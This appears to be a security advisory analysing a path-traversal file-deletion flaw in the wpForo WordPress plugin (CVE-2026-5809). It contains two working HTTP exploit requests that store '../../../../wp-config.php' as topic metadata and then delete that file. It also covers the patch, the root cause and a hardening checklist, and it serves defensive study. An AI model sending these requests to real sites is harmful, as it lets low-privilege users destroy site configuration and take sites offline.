The Exploit
Prerequisite: Authenticated WordPress user with subscriber access or above on a wpForo-enabled site running version 3.0.2 or earlier.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<valid_session>
action=wpforo_action&wpforo_action=topic_add&forum=1&data[body][fileurl]=../../../../wp-config.php&data[title]=Test%20Topic&data[body][text]=content
The attacker observes an HTTP 200 response with success: true. No file deletion occurs yet — the malicious fileurl has been silently stored in the WordPress postmeta table under the new topic. In a second request, the attacker submits:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<valid_session>
action=wpforo_action&wpforo_action=topic_edit&topic_id=<stored_topic_id>&wpftcf_delete[]=body
The plugin retrieves the stored postmeta, extracts ../../../../wp-config.php, and deletes it via wp_delete_file(). The targeted file is now removed from disk. An attacker with subscriber access can delete wp-config.php, .htaccess, plugin files, or any file writable by the PHP process, rendering the site inoperable or compromised.
What the Patch Did
Before
wp_delete_file( $filedir );
After
// Security: Only delete files within wpforo upload directory
if( $filedir ) {
$realpath = realpath( $filedir );
$upload_base = realpath( WPF()->folders['wp_upload']['dir'] );
if( $realpath && $upload_base && strpos( $realpath, $upload_base . DIRECTORY_SEPARATOR . 'wpforo' ) === 0 ) {
wp_delete_file( $filedir );
}
}
Additionally, the patch added validation in the metadata storage phase:
// Security: Only accept array values for file-type fields to prevent file path injection
$field = WPF()->post->get_field( $metakey, 'topic', $forum );
if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
The patch implements path canonicalization and directory confinement using realpath() to resolve symbolic links and relative path traversal sequences, then verifies the resolved path begins with the legitimate wpforo upload directory. It pairs this with field-type validation at the input stage, rejecting array values for non-file metadata fields. Together, these controls block both the poisoning of arbitrary postmeta and the unvalidated deletion of out-of-scope files.
Root Cause
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'). The vulnerability chains two trust boundaries. First, the topic_add() and topic_edit() AJAX handlers accept data[body][fileurl] directly from $_REQUEST without validation and persist it to postmeta. An attacker crafts data[body][fileurl]=../../../../wp-config.php, which the plugin treats as a legitimate file path metadata field. Second, when the attacker later triggers a file deletion via wpftcf_delete[]=body, the plugin retrieves the stored postmeta, passes the attacker-controlled fileurl to wpforo_fix_upload_dir() (which only rewrites paths matching the pattern wp-content/uploads/wpforo/* and leaves all others unchanged), and then calls wp_delete_file() on the unvalidated absolute or relative path. The wp_delete_file() function itself performs no path confinement, making it a dangerous sink when fed untrusted input.
Why It Works
The load-bearing line is the confinement check:
if( $realpath && $upload_base && strpos( $realpath, $upload_base . DIRECTORY_SEPARATOR . 'wpforo' ) === 0 )
This strpos() with offset === 0 ensures the resolved canonical path begins with the expected upload subdirectory; without it, an attacker could supply ../../../../etc/passwd and the plugin would still call wp_delete_file() (albeit failing on non-existent files in most cases, or succeeding on world-writable targets). The realpath() call before this is essential because it collapses traversal sequences (../) and symlinks into their true location, preventing an attacker from crafting a path like ./../../wpforo/../../../wp-config.php that might bypass naive string matching.
The field-type validation added at metadata storage is defence-in-depth: it stops the attacker from injecting fileurl in the first place if the field is not explicitly marked as type: file. However, if an attacker had already poisoned a postmeta row (or if the plugin later allows body as an array for legitimate reasons), the path confinement at deletion time is the final gate. The engineer added both because the storage-time check fails if the schema changes, and the deletion-time check fails if the attacker finds a way to bypass validation earlier — neither defence alone is sufficient.
Hardening Checklist
-
Never trust
$_REQUESTfor file paths. Validate incomingdata[*]arrays against a schema using a whitelist of allowed keys and types; usesanitize_file_name()for filename-only inputs and reject absolute or relative traversal patterns (../,./, root/) before storage. -
Apply
realpath()and directory confinement at the sink, not the source. Even if input validation is bypassed or data is retrieved from untrusted storage (database, cache), callrealpath()on file paths and verify they are within an expected base directory usingstrpos( $realpath, $base_dir . DIRECTORY_SEPARATOR ) === 0before passing to deletion or read functions. -
Type-check array values in metadata. When accepting
data[fieldname][subkey]structures from user input, retrieve the field definition viaget_field()and reject array values for non-file-type fields usingwpval()oris_array()guards. -
Audit all calls to
wp_delete_file(),unlink(), and file I/O functions for untrusted paths. Use static analysis or code search (grep forwp_delete_file\|unlink\|fopen\|readfilepaired with user-controlled variables) to identify all sinks and verify each has explicit path confinement logic.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-5809